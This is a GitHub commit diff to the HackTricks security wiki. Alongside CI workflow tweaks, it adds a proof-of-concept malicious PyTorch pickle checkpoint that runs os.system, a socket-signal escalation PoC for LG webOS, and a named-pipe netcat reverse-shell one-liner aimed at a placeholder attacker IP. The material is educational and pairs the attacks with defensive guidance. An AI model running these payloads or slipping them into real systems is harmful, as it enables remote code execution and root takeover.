Skip to content

Commit 0d9b966

Browse files
authored
Merge branch 'master' into research_update_src_pentesting-web_open-redirect_20251001_014032
2 parents 57903e3 + cd60902 commit 0d9b966

File tree

17 files changed

+308
-153
lines changed

17 files changed

+308
-153
lines changed

.github/workflows/build_master.yml

Lines changed: 18 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -67,13 +67,27 @@ jobs:
6767
export GH_TOKEN="$TOKEN"
6868
6969
# Delete the release if it exists
70-
if gh release view "$TAG" >/dev/null 2>&1; then
70+
echo "Checking if release $TAG exists..."
71+
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
7172
echo "Release $TAG already exists, deleting it..."
72-
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
73+
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
74+
echo "Failed to delete release, trying without cleanup-tag..."
75+
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
76+
echo "Warning: Could not delete existing release, will try to recreate..."
77+
}
78+
}
79+
sleep 2 # Give GitHub API a moment to process the deletion
80+
else
81+
echo "Release $TAG does not exist, proceeding with creation..."
7382
fi
7483
75-
# Create new release
76-
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
84+
# Create new release (with force flag to overwrite if deletion failed)
85+
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
86+
echo "Failed to create release, trying with force flag..."
87+
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
88+
sleep 2
89+
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
90+
}
7791
7892
7993
# Login in AWs

.github/workflows/translate_all.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -106,7 +106,7 @@ jobs:
106106
fi
107107
done
108108
109-
echo "Files to translate:"
109+
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
110110
cat /tmp/file_paths.txt
111111
echo ""
112112
echo ""

resolve_searchindex_conflicts.sh

Lines changed: 0 additions & 139 deletions
This file was deleted.

src/AI/AI-Models-RCE.md

Lines changed: 55 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ At the time of the writting these are some examples of this type of vulneravilit
1212
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
1313
| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | Malicious pickle in model checkpoint leads to code execution (bypassing `weights_only` safeguard) | |
1414
| PyTorch **TorchServe** | *ShellTorch***CVE-2023-43654**, **CVE-2022-1471** | SSRF + malicious model download causes code execution; Java deserialization RCE in management API | |
15+
| **NVIDIA Merlin Transformers4Rec** | Unsafe checkpoint deserialization via `torch.load` **(CVE-2025-23298)** | Untrusted checkpoint triggers pickle reducer during `load_model_trainer_states_from_checkpoint` → code execution in ML worker | [ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/) |
1516
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | Loading model from YAML uses `yaml.unsafe_load` (code exec) <br> Loading model with **Lambda** layer runs arbitrary Python code | |
1617
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Crafted `.tflite` model triggers integer overflow → heap corruption (potential RCE) | |
1718
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Loading a model via `joblib.load` executes pickle with attacker’s `__reduce__` payload | |
@@ -102,6 +103,51 @@ location /api/v2/models/install {
102103
}
103104
```
104105

106+
### 🆕 NVIDIA Merlin Transformers4Rec RCE via unsafe `torch.load` (CVE-2025-23298)
107+
108+
NVIDIA’s Transformers4Rec (part of Merlin) exposed an unsafe checkpoint loader that directly called `torch.load()` on user-provided paths. Because `torch.load` relies on Python `pickle`, an attacker-controlled checkpoint can execute arbitrary code via a reducer during deserialization.
109+
110+
Vulnerable path (pre-fix): `transformers4rec/torch/trainer/trainer.py``load_model_trainer_states_from_checkpoint(...)``torch.load(...)`.
111+
112+
Why this leads to RCE: In Python pickle, an object can define a reducer (`__reduce__`/`__setstate__`) that returns a callable and arguments. The callable is executed during unpickling. If such an object is present in a checkpoint, it runs before any weights are used.
113+
114+
Minimal malicious checkpoint example:
115+
116+
```python
117+
import torch
118+
119+
class Evil:
120+
def __reduce__(self):
121+
import os
122+
return (os.system, ("id > /tmp/pwned",))
123+
124+
# Place the object under a key guaranteed to be deserialized early
125+
ckpt = {
126+
"model_state_dict": Evil(),
127+
"trainer_state": {"epoch": 10},
128+
}
129+
130+
torch.save(ckpt, "malicious.ckpt")
131+
```
132+
133+
Delivery vectors and blast radius:
134+
- Trojanized checkpoints/models shared via repos, buckets, or artifact registries
135+
- Automated resume/deploy pipelines that auto-load checkpoints
136+
- Execution happens inside training/inference workers, often with elevated privileges (e.g., root in containers)
137+
138+
Fix: Commit [b7eaea5](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903) (PR #802) replaced the direct `torch.load()` with a restricted, allow-listed deserializer implemented in `transformers4rec/utils/serialization.py`. The new loader validates types/fields and prevents arbitrary callables from being invoked during load.
139+
140+
Defensive guidance specific to PyTorch checkpoints:
141+
- Do not unpickle untrusted data. Prefer non-executable formats like [Safetensors](https://huggingface.co/docs/safetensors/index) or ONNX when possible.
142+
- If you must use PyTorch serialization, ensure `weights_only=True` (supported in newer PyTorch) or use a custom allow-listed unpickler similar to the Transformers4Rec patch.
143+
- Enforce model provenance/signatures and sandbox deserialization (seccomp/AppArmor; non-root user; restricted FS and no network egress).
144+
- Monitor for unexpected child processes from ML services at checkpoint load time; trace `torch.load()`/`pickle` usage.
145+
146+
POC and vulnerable/patch references:
147+
- Vulnerable pre-patch loader: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js
148+
- Malicious checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js
149+
- Post-patch loader: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js
150+
105151
## Example – crafting a malicious PyTorch model
106152

107153
- Create the model:
@@ -192,5 +238,12 @@ For a focused guide on .keras internals, Lambda-layer RCE, the arbitrary import
192238
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
193239
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
194240
- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
195-
196-
{{#include ../banners/hacktricks-training.md}}
241+
- [ZDI blog – CVE-2025-23298 Getting Remote Code Execution in NVIDIA Merlin](https://www.thezdi.com/blog/2025/9/23/cve-2025-23298-getting-remote-code-execution-in-nvidia-merlin)
242+
- [ZDI advisory: ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/)
243+
- [Transformers4Rec patch commit b7eaea5 (PR #802)](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903)
244+
- [Pre-patch vulnerable loader (gist)](https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js)
245+
- [Malicious checkpoint PoC (gist)](https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js)
246+
- [Post-patch loader (gist)](https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js)
247+
- [Hugging Face Transformers](https://github.com/huggingface/transformers)
248+
249+
{{#include ../banners/hacktricks-training.md}}

src/README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -226,7 +226,7 @@ https://www.lasttowersolutions.com/
226226

227227
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
228228

229-
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
229+
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
230230

231231
K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence.
232232

@@ -253,3 +253,4 @@ welcome/hacktricks-values-and-faq.md
253253

254254
{{#include ./banners/hacktricks-training.md}}
255255

256+

src/SUMMARY.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -110,6 +110,7 @@
110110
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
111111
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
112112
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
113+
- [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
113114
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
114115
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
115116
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
@@ -949,4 +950,4 @@
949950
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
950951
- [Post Exploitation](todo/post-exploitation.md)
951952
- [Investment Terms](todo/investment-terms.md)
952-
- [Cookies Policy](todo/cookies-policy.md)
953+
- [Cookies Policy](todo/cookies-policy.md)

src/blockchain/smart-contract-security/mutation-testing-with-slither.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -124,3 +124,4 @@ Guidance: Treat survivors that affect value transfers, accounting, or access con
124124
- [Slither (GitHub)](https://github.com/crytic/slither)
125125

126126
{{#include ../../banners/hacktricks-training.md}}
127+

src/linux-hardening/privilege-escalation/README.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1723,6 +1723,16 @@ Android rooting frameworks commonly hook a syscall to expose privileged kernel f
17231723
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
17241724
{{#endref}}
17251725
1726+
## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
1727+
1728+
Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path).
1729+
1730+
Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here:
1731+
1732+
{{#ref}}
1733+
vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
1734+
{{#endref}}
1735+
17261736
## Kernel Security Protections
17271737
17281738
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
@@ -1774,4 +1784,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
17741784
- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV)
17751785
- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
17761786
1787+
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
1788+
17771789
{{#include ../../banners/hacktricks-training.md}}
1790+

src/linux-hardening/privilege-escalation/socket-command-injection.md

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,47 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
4343
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
4444
```
4545

46+
## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
47+
48+
Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate.
49+
50+
Observed pattern:
51+
- Connect to a root-owned socket (e.g., /tmp/remotelogger).
52+
- Create a thread and obtain its native thread id (TID).
53+
- Send the TID (packed) plus padding as a request; receive an acknowledgement.
54+
- Deliver a specific signal to that TID to trigger the privileged behaviour.
55+
56+
Minimal PoC sketch:
57+
58+
```python
59+
import socket, struct, os, threading, time
60+
# Spawn a thread so we have a TID we can signal
61+
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
62+
tid = th.native_id # Python >=3.8
63+
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
64+
s.connect("/tmp/remotelogger")
65+
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
66+
s.recv(4) # sync
67+
os.kill(tid, 4) # deliver SIGILL (example from the case)
68+
```
69+
70+
To turn this into a root shell, a simple named-pipe + nc pattern can be used:
71+
72+
```bash
73+
rm -f /tmp/f; mkfifo /tmp/f
74+
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
75+
```
76+
77+
Notes:
78+
- This class of bugs arises from trusting values derived from unprivileged client state (TIDs) and binding them to privileged signal handlers or logic.
79+
- Harden by enforcing credentials on the socket, validating message formats, and decoupling privileged operations from externally supplied thread identifiers.
80+
81+
## References
82+
83+
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
84+
4685
{{#include ../../banners/hacktricks-training.md}}
4786

4887

4988

89+

0 commit comments

Comments
 (0)